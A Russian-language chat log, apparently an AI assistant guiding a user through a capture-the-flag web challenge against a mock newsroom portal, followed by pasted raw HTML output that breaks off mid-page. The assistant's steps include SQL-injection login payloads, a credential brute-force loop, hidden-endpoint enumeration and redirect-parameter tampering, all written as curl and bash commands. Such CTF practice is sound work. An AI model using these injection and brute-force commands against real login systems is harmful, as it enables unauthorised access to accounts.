Загрузка данных


Все 4 запроса к __nextjs_original-stack-frame вернули 404 — сервер не в dev-режиме, исходники не раскрыть. Нужно сменить направление. Вот что мы ещё не проверили:

1. Главная страница и robots.txt (Важно — могут быть подсказки)
bash
curl -s "http://task.duckerz.ru:21046/" > /tmp/index.html
wc -c /tmp/index.html
grep -oE 'href="[^"]*"' /tmp/index.html | sort -u
grep -iE 'article|publication|news|post|link|api|flag|secret|vestnik|severny' /tmp/index.html | head -20
cat /tmp/index.html | head -c 5000

echo "=== robots ==="
curl -s "http://task.duckerz.ru:21046/robots.txt"
echo "=== sitemap ==="
curl -s "http://task.duckerz.ru:21046/sitemap.xml"
echo "=== sitemap-0 ==="
curl -s "http://task.duckerz.ru:21046/sitemap-0.xml"
2. SQL-инъекция через form-encoded (не JSON!)
bash
# Classic SQLi
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin' OR '1'='1&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin' OR '1'='1'--&password=x&next=/admin" 2>&1 | grep -i location

# Double URL encoding
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin%27%20OR%20%271%27%3D%271%27--&password=x&next=/admin" 2>&1 | grep -i location
3. Брутфорс с тематическими паролями
bash
for creds in \
  "admin:SevernyyVestnik" "admin:severnyy_vestnik" \
  "admin:NorthHerald" "admin:north_herald" \
  "admin:vestnik" "admin:severny" \
  "admin:redaction" "admin:portal" \
  "admin:password1" "admin:Password1" \
  "admin:qwerty" "admin:123456" "admin:12345" \
  "admin:admin123" "admin:pass123" "admin:letmein" \
  "admin:welcome" "admin:secret" "admin:changeme" \
  "editor:editor" "editor:vestnik" "editor:severny" \
  "admin:publisher" "admin:publish" "admin:publication" \
  "admin:duckerz" "admin:DUCKERZ" "admin:flag"; do
  login=$(echo $creds | cut -d: -f1)
  pass=$(echo $creds | cut -d: -f2)
  loc=$(curl -s -X POST "http://task.duckerz.ru:21046/api/login" \
    -d "login=${login}&password=${pass}&next=/admin" -D - -o /dev/null 2>&1 | grep -i location)
  [[ "$loc" != *"failed=1"* ]] && echo "[!] $login:$pass → $loc"
done
echo "=== done ==="
4. Поиск 5-й страницы (Bloom filter)
bash
for path in register signup forgot reset password change \
  publish publication article news post draft profile \
  account settings about help service internal private \
  api/articles api/posts api/publications api/drafts \
  api/config api/settings api/env api/debug api/status \
  api/users api/me api/session api/flag api/secret; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://task.duckerz.ru:21046/$path")
  [ "$code" != "404" ] && echo "[!] /$path — $code"
done
5. Манипуляция параметром next
bash
# next=/ — может попасть на главную после логина
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/" 2>&1 | grep -iE 'location|set-cookie'

# Проверить, какой точно redirect при failed login
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/admin" 2>&1 | grep -i location
Начни с пунктов 1, 2 и 3. Главная страница и robots.txt могут содержать прямые подсказки, SQL-инъекция через form-encoded — новый вектор (JSON падает с 500, а form-data обрабатывается нормально), а брутфорс может просто попасть. Присылай всё!

Я
curl -s "http://task.duckerz.ru:21046/" > /tmp/index.html curl -s "http://task.duckerz.ru:21046/" > /tmp/index.html
wc -c /tmp/index.html
grep -oE 'href="[^"]*"' /tmp/index.html | sort -u
grep -iE 'article|publication|news|post|link|api|flag|secret|vestnik|severny' /tmp/index.html | head -20
cat /tmp/index.html | head -c 5000

echo "=== robots ==="
curl -s "http://task.duckerz.ru:21046/robots.txt"
echo "=== sitemap ==="
curl -s "http://task.duckerz.ru:21046/sitemap.xml"
echo "=== sitemap-0 ==="
curl -s "http://task.duckerz.ru:21046/sitemap-0.xml"
16999 /tmp/index.html
href="/"
href="/admin"
href="/login"
href="/_next/static/chunks/webpack-078f6dfb37dff419.js"
<!DOCTYPE html><!--JJN36yMfd5yB9oQiq_ZJw--><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-078f6dfb37dff419.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-4f212684648fcab9.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/page-149650cc9e4e6a3e.js" async=""></script><title>Северный вестник</title><meta name="description" content="Служебный портал редакции"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body style="margin:0;font-family:Arial, Helvetica, sans-serif;background:#ffe9dc;color:#1c1c1c"><div hidden=""><!--$--><!--/$--></div><main style="max-width:1180px;margin:0 auto;padding:28px 20px 48px;color:#1c1c1c"><header style="display:flex;justify-content:space-between;align-items:center;gap:24px;margin-bottom:18px;padding-bottom:14px;border-bottom:2px solid #b30000"><div><div style="color:#9f0000;font-size:13px;margin-bottom:6px">Корпоративный портал медиагруппы</div><div style="font-size:34px;font-weight:700;color:#9f0000">Северный вестник</div></div><nav style="display:flex;gap:18px;flex-wrap:wrap"><a href="/" style="color:#9f0000;text-decoration:none">Главная</a><a href="/login" style="color:#9f0000;text-decoration:none">Сотрудникам</a><a href="/admin" style="color:#9f0000;text-decoration:none">Панель редактора</a></nav></header><section style="display:flex;justify-content:space-between;align-items:flex-start;gap:20px;flex-wrap:wrap;margin-bottom:20px"><div><div style="color:#9f0000;font-size:14px;margin-bottom:8px">Редакция</div><h1 style="margin:0;font-size:40px;color:#9f0000">Общая сводка</h1><p style="max-width:640px;line-height:1.7;margin-top:14px">Портал предназначен для сотрудников редакции и смежных отделов. Здесь публикуются рабочие сводки, статус выпуска материалов, внутренние объявления и служебные уведомления по текущему графику.</p></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px;min-width:260px"><div style="font-size:14px;color:#7d7d7d">Статус на сегодня</div><div style="font-size:28px;color:#9f0000;margin-top:8px;font-weight:700">Рабочий день</div><div style="margin-top:12px;line-height:1.7">Плановый выпуск: 04:00<br/>Подтверждено материалов: 12<br/>Срочных переносов: нет</div></div></section><section style="display:grid;grid-template-columns:repeat(auto-fit, minmax(220px, 1fr));gap:16px;margin-bottom:20px"><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">План публикаций</h2><div style="line-height:1.8"><div>04:00 — Утренний выпуск</div><div>09:30 — Новостная планерка</div><div>13:00 — Межотдельская сводка</div></div></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Разделы</h2><div style="display:grid;gap:10px"><a href="/login" style="color:#9f0000;text-decoration:none">Вход для сотрудников</a><a href="/admin" style="color:#9f0000;text-decoration:none">Панель редактора</a></div></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Объявления</h2><div style="line-height:1.8"><div>Обновление шаблонов верстки запланировано на понедельник.</div><div>Сверка архивных материалов переносится на следующую неделю.</div><div>Контакты дежурной смены доступны в кадровом разделе.</div></div></div></section><section style="display:grid;grid-template-columns:1.2fr 0.8fr;gap:16px;margin-bottom:20px"><section style="background:#fff7f1;border:2px solid #b30000;padding:20px"><div style="display:flex;justify-content:space-between;align-items:center;gap:12px;margin-bottom:12px"><h2 style="margin:0;color:#9f0000">Лента событий</h2><span style="border:1px solid #b30000;padding:6px 10px;color:#9f0000;font-size:14px">ожидание</span></div><div style="display:grid;gap:8px"><div style="border:1px solid #d9d9d9;padding:10px 12px;color:#2b2b2b;background:#fff3eb">03:10 Получена сводка выпускающего отдела</div><div style="border:1px solid #d9d9d9;padding:10px 12px;color:#2b2b2b;background:#fff3eb">03:12 Обновлен статус утреннего выпуска</div><div style="border:1px solid #d9d9d9;padding:10px 12px;color:#2b2b2b;background:#fff3eb">03:14 Подтверждена передача материалов в архив</div></div></section><section style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Контакты отделов</h2><div style="display:grid;gap:12px;line-height:1.7"><div><strong>Редакция:</strong><br/>ext. 201</div><div><strong>Выпускающий отдел:</strong><br/>ext. 214</div><div><strong>Техническая служба:</strong><br/>ext. 230</div></div></section></section><section style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Краткая справка</h2><p style="margin:0;line-height:1.8">Портал объединяет служебную информацию для редакции, выпускающего отдела и дежурной смены. Доступ к рабочим инструментам предоставляется только сотрудникам после входа в корпоративный раздел.</p></section></main><!--$--><!--/$--><script src="/_next/static/chunks/webpack-078f6dfb37dff419.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[9766,[],\"\"]\n3:I[8924,[],\"\"]\na:I[7150,[],\"\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"JJN36yMfd5yB9oQiq_ZJw\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"style\":{\"margin\":0,\"fontFamily\":\"Arial, Helvetica, sans-serif\",\"background\":\"#ffe9dc\",\"color\":\"#1c1c1c\"},\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1180px\",\"margin\":\"0 auto\",\"padding\":\"28px 20px 48px\",\"color\":\"#1c1c1c\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"display\":\"flex\",\"justifyContent\":\"space-between\",\"alignItems\":\"center\",\"gap\":\"24px\",\"marginBottom\":\"18px\",\"paddingBottom\":\"14px\",\"borderBottom\":\"2px solid #b30000\"},\"children\":[[\"$\",\"div\",null,{\"children\":[[\"$\",\"div\",null,{\"style\":{\"color\":\"#9f0000\",\"fontSize\":\"13px\",\"marginBottom\":\"6px\"},\"children\":\"Корпоративный портал медиагруппы\"}],[\"$\",\"div\",null,{\"style\":{\"fontSize\":\"34px\",\"fontWeight\":700,\"color\":\"#9f0000\"},\"children\":\"Северный вестник\"}]]}],[\"$\",\"nav\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"18px\",\"flexWrap\":\"wrap\"},\"children\":[[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"#9f0000\",\"textDecoration\":\"none\"},\"children\":\"Главная\"}],[\"$\",\"a\",null,{\"href\":\"/login\",\"style\":{\"color\":\"#9f0000\",\"textDecoration\":\"none\"},\"children\":\"Сотрудникам\"}],[\"$\",\"a\",null,{\"href\":\"/admin\",\"style\":{\"color\":\"#9f0000\",\"textDecoration\":\"none\"},\"children\":\"Панель редактора\"}]]}]]}],[\"$\",\"section\",null,{\"style\":{\"display\":\"flex\",\"justifyContent\":\"space-between\",\"alignItems\":\"flex-start\",\"gap\":\"20px\",\"flexWrap\":\"wrap\",\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"div\",null,{\"children\":[[\"$\",\"div\",null,{\"style\":{\"color\":\"#9f0000\",\"fontSize\":\"14px\",\"marginBottom\":\"8px\"},\"children\":\"Редакция\"}],[\"$\",\"h1\",null,{\"style\":{\"margin\":0,\"fontSize\":\"40px\",\"color\":\"#9f0000\"},\"children\":\"Общая сводка\"}],[\"$\",\"p\",null,{\"style\":{\"maxWidth\":\"640px\",\"lineHeight\":1.7,\"marginTop\":\"14px\"},\"children\":\"Портал предназначен для сотрудников редакции и смежных отделов. Здесь публикуются рабочие сводки, статус выпуска материалов, внутренние объявления и служебные уведомления по текущему графику.\"}]]}],[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff7f1\",\"border\":\"2px solid #b30000\",\"padding\":\"20px\",\"minWidth\":\"260px\"},\"children\":[[\"$\",\"div\",null,{\"style\":{\"fontSize\":\"14px\",\"color\":\"#7d7d7d\"},\"children\":\"Статус на сегодня\"}],[\"$\",\"div\",null,{\"style\":{\"fontSize\":\"28px\",\"color\":\"#9f0000\",\"marginTop\":\"8px\",\"fontWeight\":700},\"children\":\"Рабочий день\"}],[\"$\",\"div\",null,{\"style\":{\"marginTop\":\"12px\",\"lineHeight\":1.7},\"children\":[\"Плановый выпуск: 04:00\",[\"$\",\"br\",null,{}],\"Подтверждено материалов: 12\",[\"$\",\"br\",null,{}],\"Срочных переносов: нет\"]}]]}]]}],[\"$\",\"section\",null,{\"style\":{\"display\":\"grid\",\"gridTemplateColumns\":\"repeat(auto-fit, minmax(220px, 1fr))\",\"gap\":\"16px\",\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff7f1\",\"border\":\"2px solid #b30000\",\"padding\":\"20px\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"marginTop\":0,\"color\":\"#9f0000\"},\"children\":\"План публикаций\"}],[\"$\",\"div\",null,{\"style\":{\"lineHeight\":1.8},\"children\":[[\"$\",\"div\",null,{\"children\":\"04:00 — Утренний выпуск\"}],[\"$\",\"div\",null,{\"children\":\"09:30 — Новостная планерка\"}],[\"$\",\"div\",null,{\"children\":\"13:00 — Межотдельская сводка\"}]]}]]}],[\"$\",\"div\",null,{\"style\":\"$0:f:0:1:2:children:1:props:children:0:props:children:2:props:children:0:props:style\",\"children\":[[\"$\",\"h2\",null,{\"style\":{\"marginTop\":0,\"color\":\"#9f0000\"},\"children\":\"Разделы\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"grid\",\"gap\":\"10px\"},\"children\":[[\"$\",\"a\",null,{\"href\":\"/login\",\"style\":{\"color\":\"#9f0000\",\"textDecoration\":\"none\"},\"children\":\"Вход для сотрудников\"}],\"$L4\"]}]]}],\"$L5\"]}],\"$L6\",\"$L7\"]}],null,\"$L8\"]}],{},null,false]},null,false],\"$L9\",false]],\"m\":\"$undefined\",\"G\":[\"$a\",[]],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"b:I[4730,[\"974\",\"static/chunks/app/page-149650cc9e4e6a3e.js\"],\"default\"]\nc:I[4431,[],\"OutletBoundary\"]\ne:I[5278,[],\"AsyncMetadataOutlet\"]\n10:I[4431,[],\"ViewportBoundary\"]\n12:I[4431,[],\"MetadataBoundary\"]\n13:\"$Sreact.suspense\"\n4:[\"$\",\"a\",null,{\"href\":\"/admin\",\"style\":{\"color\":\"#9f0000\",\"textDecoration\":\"none\"},\"children\":\"Панель редактора\"}]\n5:[\"$\",\"div\",null,{\"style\":\"$0:f:0:1:2:children:1:props:children:0:props:children:2:props:children:0:props:style\",\"children\":[[\"$\",\"h2\",null,{\"style\":{\"marginTop\":0,\"color\":\"#9f0000\"},\"children\":\"Объявления\"}],[\"$\",\"div\",null,{\"style\":{\"lineHeight\":1.8},\"children\":[[\"$\",\"div\",null,{\"children\":\"Обновление шаблонов верстки запланировано на понедельник.\"}],[\"$\",\"div\",null,{\"children\":\"Сверка архивных материалов переносится на следующую неделю.\"}],[\"$\",\"div\",null,{\"children\":\"Контакты дежурной смены доступны в кадровом разделе.\"}]]}]]}]\n"])</script><script>self.__next_f.push([1,"6:[\"$\",\"section\",null,{\"style\":{\"display\":\"grid\",\"gridTemplateColumns\":\"1.2fr 0.8fr\",\"gap\":\"16px\",\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"$Lb\",null,{}],[\"$\",\"section\",null,{\"style\":\"$0:f:0:1:2:children:1:props:children:0:props:children:2:props:children:0:props:style\",\"children\":[[\"$\",\"h2\",null,{\"style\":{\"marginTop\":0,\"color\":\"#9f0000\"},\"children\":\"Контакты отделов\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"grid\",\"gap\":\"12px\",\"lineHeight\":1.7},\"children\":[[\"$\",\"div\",null,{\"children\":[[\"$\",\"strong\",null,{\"children\":\"Редакция:\"}],[\"$\",\"br\",null,{}],\"ext. 201\"]}],[\"$\",\"div\",null,{\"children\":[[\"$\",\"strong\",null,{\"children\":\"Выпускающий отдел:\"}],[\"$\",\"br\",null,{}],\"ext. 214\"]}],[\"$\",\"div\",null,{\"children\":[[\"$\",\"strong\",null,{\"children\":\"Техническая служба:\"}],[\"$\",\"br\",null,{}],\"ext. 230\"]}]]}]]}]]}]\n"])</script><script>self.__next_f.push([1,"7:[\"$\",\"section\",null,{\"style\":\"$0:f:0:1:2:children:1:props:children:0:props:children:2:props:children:0:props:style\",\"children\":[[\"$\",\"h2\",null,{\"style\":{\"marginTop\":0,\"color\":\"#9f0000\"},\"children\":\"Краткая справка\"}],[\"$\",\"p\",null,{\"style\":{\"margin\":0,\"lineHeight\":1.8},\"children\":\"Портал объединяет служебную информацию для редакции, выпускающего отдела и дежурной смены. Доступ к рабочим инструментам предоставляется только сотрудникам после входа в корпоративный раздел.\"}]]}]\n8:[\"$\",\"$Lc\",null,{\"children\":[\"$Ld\",[\"$\",\"$Le\",null,{\"promise\":\"$@f\"}]]}]\n9:[\"$\",\"$1\",\"h\",{\"children\":[null,[[\"$\",\"$L10\",null,{\"children\":\"$L11\"}],null],[\"$\",\"$L12\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$13\",null,{\"fallback\":null,\"children\":\"$L14\"}]}]}]]}]\n"])</script><script>self.__next_f.push([1,"11:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\nd:null\n"])</script><script>self.__next_f.push([1,"f:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"Северный вестник\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Служебный портал редакции\"}]],\"error\":null,\"digest\":\"$undefined\"}\n"])</script><script>self.__next_f.push([1,"14:\"$f:metadata\"\n"])</script></body></html>
<!DOCTYPE html><!--JJN36yMfd5yB9oQiq_ZJw--><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-078f6dfb37dff419.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-4f212684648fcab9.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/page-149650cc9e4e6a3e.js" async=""></script><title>Северный вестник</title><meta name="description" content="Служебный портал редакции"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body style="margin:0;font-family:Arial, Helvetica, sans-serif;background:#ffe9dc;color:#1c1c1c"><div hidden=""><!--$--><!--/$--></div><main style="max-width:1180px;margin:0 auto;padding:28px 20px 48px;color:#1c1c1c"><header style="display:flex;justify-content:space-between;align-items:center;gap:24px;margin-bottom:18px;padding-bottom:14px;border-bottom:2px solid #b30000"><div><div style="color:#9f0000;font-size:13px;margin-bottom:6px">Корпоративный портал медиагруппы</div><div style="font-size:34px;font-weight:700;color:#9f0000">Северный вестник</div></div><nav style="display:flex;gap:18px;flex-wrap:wrap"><a href="/" style="color:#9f0000;text-decoration:none">Главная</a><a href="/login" style="color:#9f0000;text-decoration:none">Сотрудникам</a><a href="/admin" style="color:#9f0000;text-decoration:none">Панель редактора</a></nav></header><section style="display:flex;justify-content:space-between;align-items:flex-start;gap:20px;flex-wrap:wrap;margin-bottom:20px"><div><div style="color:#9f0000;font-size:14px;margin-bottom:8px">Редакция</div><h1 style="margin:0;font-size:40px;color:#9f0000">Общая сводка</h1><p style="max-width:640px;line-height:1.7;margin-top:14px">Портал предназначен для сотрудников редакции и смежных отделов. Здесь публикуются рабочие сводки, статус выпуска материалов, внутренние объявления и служебные уведомления по текущему графику.</p></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px;min-width:260px"><div style="font-size:14px;color:#7d7d7d">Статус на сегодня</div><div style="font-size:28px;color:#9f0000;margin-top:8px;font-weight:700">Рабочий день</div><div style="margin-top:12px;line-height:1.7">Плановый выпуск: 04:00<br/>Подтверждено материалов: 12<br/>Срочных переносов: нет</div></div></section><section style="display:grid;grid-template-columns:repeat(auto-fit, minmax(220px, 1fr));gap:16px;margin-bottom:20px"><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">План публикаций</h2><div style="line-height:1.8"><div>04:00 — Утренний выпуск</div><div>09:30 — Новостная планерка</div><div>13:00 — Межотдельская сводка</div></div></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Разделы</h2><div style="display:grid;gap:10px"><a href="/login" style="color:#9f0000;text-decoration:none">Вход для сотрудников</a><a href="/admin" style="color:#9f0000;text-decoration:none">Панель редактора</a></div></div><div style="background:#fff7f1;border:2px solid #b30000;padding:20px"><h2 style="margin-top:0;color:#9f0000">Объявления</h2><div style="line-height:1.8"><div>Обновление шаблонов верстки запланировано на понедельник.</div><div>Сверка архивных материалов переносится на следующую неделю.</div><div>Контакты дежурной смены доступны в кадровом разделе.</div></div></div></section><section style="display:grid;grid-template-columns:1.2fr 0.8fr;gap:16px;margin-bottom:20px"><section style="background:#fff7f1;border:2px solid #b30000;padding:20px"><div style="display:flex;justify-content:space-between;align-items:center;gap:12px;margin-bottom:12px"><h2 style="margin:0;color:#9f0000">Лента событий</h2><span style="border:1px solid #b30000;padding:6px 10px;color:#9f0000;font-size:14px">ожидание</span></div><div style="display:grid;gap:8px"><div style="border:1px solid #d9d9d9;padding:10px 12px;color:#2b2b2b;background:#fff3eb">03:10 Получена сводка выпускающего отдела</div><div style="border:1px solid #d9d9d9;padding:10px=== robots ===
<!DOCTYPE html><!--JJN36yMfd5yB9oQiq_ZJw--><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-078f6dfb37dff419.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-4f212684648fcab9.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><meta name="robots" content="noindex"/><title>404: This page could not be found.</title><title>Северный вестник</title><meta name="description" content="Служебный портал редакции"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body style="margin:0;font-family:Arial, Helvetica, sans-serif;background:#ffe9dc;color:#1c1c1c"><div hidden=""><!--$--><!--/$--></div><div style="font-family:system-ui,&quot;Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;align-items:center;justify-content:center"><div><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block;margin:0 20px 0 0;padding:0 23px 0 0;font-size:24px;font-weight:500;vertical-align:top;line-height:49px">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;line-height:49px;margin:0">This page could not be found.</h2></div></div></div><!--$--><!--/$--><script src="/_next/static/chunks/webpack-078f6dfb37dff419.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[9766,[],\"\"]\n3:I[8924,[],\"\"]\n4:I[4431,[],\"OutletBoundary\"]\n6:I[5278,[],\"AsyncMetadataOutlet\"]\n8:I[4431,[],\"ViewportBoundary\"]\na:I[4431,[],\"MetadataBoundary\"]\nb:\"$Sreact.suspense\"\nd:I[7150,[],\"\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"JJN36yMfd5yB9oQiq_ZJw\",\"p\":\"\",\"c\":[\"\",\"_not-found\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"/_not-found\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"style\":{\"margin\":0,\"fontFamily\":\"Arial, Helvetica, sans-serif\",\"background\":\"#ffe9dc\",\"color\":\"#1c1c1c\"},\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"/_not-found\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],null,[\"$\",\"$L4\",null,{\"children\":[\"$L5\",[\"$\",\"$L6\",null,{\"promise\":\"$@7\"}]]}]]}],{},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[[\"$\",\"meta\",null,{\"name\":\"robots\",\"content\":\"noindex\"}],[[\"$\",\"$L8\",null,{\"children\":\"$L9\"}],null],[\"$\",\"$La\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$b\",null,{\"fallback\":null,\"children\":\"$Lc\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$d\",[]],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"9:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, 